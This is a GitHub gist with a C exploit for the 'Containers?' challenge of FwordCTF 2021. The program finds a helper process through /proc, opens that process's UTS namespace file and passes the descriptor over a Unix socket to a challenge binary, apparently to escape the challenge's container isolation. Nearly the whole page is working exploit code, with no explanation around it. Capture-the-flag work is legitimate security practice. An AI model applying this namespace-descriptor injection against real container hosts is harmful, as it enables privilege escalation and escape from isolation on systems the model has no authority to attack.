Skip to content

Instantly share code, notes, and snippets.

@00xc

00xc/exploit.c Secret

Created August 29, 2021 17:51
Show Gist options
  • Save 00xc/800233590dda59ca60772034d898f916 to your computer and use it in GitHub Desktop.
Save 00xc/800233590dda59ca60772034d898f916 to your computer and use it in GitHub Desktop.
FwordCTF 2021 - Containers? exploit
/*
gcc -Wall -Wextra -o exploit exploit.c
*/
#include <ctype.h>
#include <dirent.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/limits.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/un.h>
#define GREET_CMD "/home/user1/sealer greet"
#define RAIJIN_CMD "/home/user1/sealer raijin nodename &"
#define SOCK_PATH "/tmp/fd-pass.socket"
void send_fd(int fd) {
int s;
struct sockaddr_un addr;
s = socket(AF_UNIX, SOCK_STREAM, 0);
if (s == -1)
err(EXIT_FAILURE, "socket");
printf("[+] socket()\n");
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, SOCK_PATH);
if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0)
err(EXIT_FAILURE, "connect");
printf("[+] connect()\n");
{
struct msghdr msg = {0};
struct cmsghdr *cmsg = NULL;
struct iovec iov;
int data[4] = {fd, 3, 3, 3};
ssize_t sent;
union {
char buf[CMSG_SPACE(sizeof(data))];
struct cmsghdr align;
} u;
/* We must send some data no matter what */
iov = (struct iovec) {
.iov_base = ":)",
.iov_len = 2,
};
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_flags = 0;
msg.msg_control = u.buf;
msg.msg_controllen = sizeof(u.buf);
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(data));
memcpy(CMSG_DATA(cmsg), data, sizeof(data));
sent = sendmsg(s, &msg, 0);
if (sent < 0)
err(EXIT_FAILURE, "sendmsg");
printf("[+] sendmsg() => %ld\n", sent);
}
close(s);
}
int _isnumber(const char* c) {
while (*c != '\0') {
if (!isdigit(*c))
return 0;
++c;
}
return 1;
}
pid_t find_pid(pid_t our_pid) {
DIR* dir;
struct dirent* dp;
char path[PATH_MAX];
char buf[1024];
int fd;
pid_t out = -1;
dir = opendir("/proc");
if (dir == NULL)
err(EXIT_FAILURE, "opendir");
while ((dp = readdir(dir)) != NULL) {
if (dp->d_type != DT_DIR || !_isnumber(dp->d_name) || atoi(dp->d_name) == our_pid)
continue;
sprintf(path, "/proc/%s/cmdline", dp->d_name);
fd = open(path, O_RDONLY);
if (fd < 0)
err(EXIT_FAILURE, "open %s", path);
read(fd, buf, sizeof(buf));
close(fd);
if (strstr(buf, "sleep")) {
out = atoi(dp->d_name);
break;
}
}
closedir(dir);
return out;
}
int main() {
int fd;
FILE* greet_fp;
char buf[1024] = {0};
pid_t pid;
pid_t our_pid = getpid();
char ns_path[PATH_MAX] = {0};
/* Start 'greet' command */
greet_fp = popen(GREET_CMD, "r");
if (greet_fp == NULL)
err(EXIT_FAILURE, "popen");
setvbuf(greet_fp, NULL, _IONBF, 0);
fread(buf, 20, 1, greet_fp);
printf("buf: %s\n", buf);
while ((pid = find_pid(our_pid)) < 0) {
;;
}
printf("[+] Got pid: %d\n", pid);
sprintf(ns_path, "/proc/%d/ns/uts", pid);
/* Start 'raijin' command */
system(RAIJIN_CMD);
printf("[*] Opening %s\n", ns_path);
fd = open(ns_path, O_RDONLY);
if (fd < 0)
err(EXIT_FAILURE, "open %s", ns_path);
printf("[*] Sending file descriptor = %d\n", fd);
send_fd(fd);
pclose(greet_fp);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment